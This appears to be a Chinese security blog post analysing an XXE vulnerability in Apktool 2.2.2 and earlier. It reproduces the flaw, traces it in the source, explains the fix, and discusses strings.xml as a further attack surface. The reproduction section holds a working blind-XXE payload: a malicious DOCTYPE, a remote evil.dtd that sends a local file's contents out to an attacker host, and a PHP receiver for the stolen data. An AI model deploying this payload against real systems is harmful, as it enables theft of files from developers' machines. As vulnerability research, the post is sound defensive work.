Apktool(<=v2.2.2) XXE 漏洞分析
漏洞概述
XXE是指的XML外部实体注入(XML External Entity),当在XML的DTD(文档类型定义)中,如果允许引入外部实体,则可能会造成XXE漏洞,可以造成文件读取,探测内网端口,甚至命令执行的危害。具体可以造成的危害需要看解析XML的语言支持什么协议,这里引用TSRC的图来说明:
在Apktool commit ID为f19317d中修复了一个XXE漏洞,Apktool的使用者在build APK时,会造成本地任意文件被攻击者读取的危害。
受影响的Apktool版本目前是v2.2.2以及以下,建议用户将Apktool版本升级到v2.3.0以及以上。
漏洞复现
环境:
Ubuntu 16.04.3 LTS
java openjdk version "1.8.0_151"
apktool_2.2.2.jar 2110cdbdfd08b25daa85ccfb2ff8cab84cf5c32d3be1a0296f1d015a019724a9
app-debug.apk(需要由Android Studio 2.X生成)
使用apktool解压app-debug.apk:
java -jar apktool_2.2.2.jar d app-debug.apk -o app-debug
修改AndroidManifest.xml文件构造恶意apk:
读取/tmp/xxetest文件并发送。
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///tmp/xxetest">
<!ENTITY % dtd SYSTEM "http://172.18.0.2/evil.dtd">
%dtd;
%all;
%send;
]>
远程evil.dtd文件:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://172.18.0.2/recv.php?p=%file;'>"
>
服务器上的recv.php:
接受受害者机器传来的文件并保存到本机的/tmp/123.txt中。
<?php
file_put_contents('/tmp/123.txt', $_GET['p']);
?>
受害者机器运行build命令重打包恶意的apk时:
java -jar apktool_2.2.2.jar b app-debug -o app-debug-chongdabao.apk
在服务器上获取受害者机器上的敏感文件:
漏洞分析
该漏洞在 f19317d被修复,因此我们回退版本到 2a35125来观察漏洞被触发的原理。
git clone https://github.com/rubenanagua/Apktool.git && cd Apktool
git reset --hard 2a35125
./gradlew build shadowJar proguard # build
将Apktool导入Android Studio ,同步Gradle之后即可开始源码调试。设置运行时参数Program arguments:
b /home/thinkycx/Desktop/apktool-d-build-xxe/app-debug -o /home/thinkycx/Desktop/apktool-d-build-xxe/evil.apk
![](media/15624941475145/Screenshot from 2017-12-18 14-07-59.png)
开始Debug Run并在b
方法处下断点:
在Main函数中解析完cmd params后便开始build apk:
进入build函数:
备份AndroidMainifest.xml文件并准备解析:
加载xml:
进入loadDocument函数准备对xml进行parse:
该parse方法在jre的lib中实现:
parse后发现敏感文件已经写入到/tmp/123.txt文件中:
漏洞修复
XXE的漏洞在Java中的修复通常是关闭外部实体引用:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
在Apktool的f19317d 修复代码中禁止了在AndroidManifest.xml中对DOCTYPE的引入:
DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();
docFactory.setFeature(FEATURE_DISABLE_DOCTYPE_DECL, true);
...
private static final String FEATURE_DISABLE_DOCTYPE_DECL = "http://apache.org/xml/features/disallow-doctype-decl";
两种方法都可以有效的避免XXE的攻击。
新攻击面strings.xml
20171221更新。在apktool 2.2.2的源码中,查找了一下所有调用loadDocument
函数的地方,发现在pullValueFromStrings
函数中会对strings.xml
parse,那么在其中插入DTD,毫无疑问也会造成XXE攻击。
/**
* Finds key in strings.xml file and returns text value
*
* @param directory Root directory of apk
* @param key String reference (ie @string/foo)
* @return String|null
* @throws AndrolibException
*/
public static String pullValueFromStrings(File directory, String key) throws AndrolibException {
if (key == null || ! key.contains("@")) {
return null;
}
File file = new File(directory, "/res/values/strings.xml");
key = key.replace("@string/", "");
if (file.exists()) {
try {
Document doc = loadDocument(file);
传入的key
参数是apk的versionName
,因此需要在build apk时设置build.gradle
中的versionName为一个包含@
的值,这里我修改为"[email protected]"后复现成功。
但是,存在的问题是:无论是使用Android Studio build apk修改strings.xml
(非schema模式的XML插入DTD可以编译成功,AndroidMainifest.xml则不行)还是修改了strings.xml
后用apktool重打包,都不会将strings.xml
中的DTD保留下来,因此想要触发漏洞只能够在debug过程中修改strings.xml
文件。如果能修改apk中的strings.xml
文件,那么使用apktool在decode APK时就可以造成XXE,危害性大大提升。
总结
由于恶意的AndroidMainifest.xml文件使用Apktool build后再 decode后,发现AndroidMainifest.xml中的DTD消失了,因此无法构造恶意的apk文件,导致实际的攻击条件非常苛刻。根据安全客的文章发现,XXE在Android Studio 2.3.2导入Projects或导入AAR时也存在。
复现完这个漏洞,发现存在对XML解析的地方都有可能存在XXE漏洞。因此,似乎还有很多软件的XXE尚未被挖掘出来。
Refs
- https://research.checkpoint.com/parsedroid-targeting-android-development-research-community/
- https://threatpost.com/developers-targets-in-parsedroid-poc-attack/129088/
- https://www.anquanke.com/post/id/89316
- https://www.anquanke.com/post/id/89557
- XXE漏洞攻防——TSRC,XXE入门资料
https://security.tencent.com/index.php/blog/msg/69 - XXE漏洞以及Blind XXE总结
http://blog.csdn.net/u011721501/article/details/43775691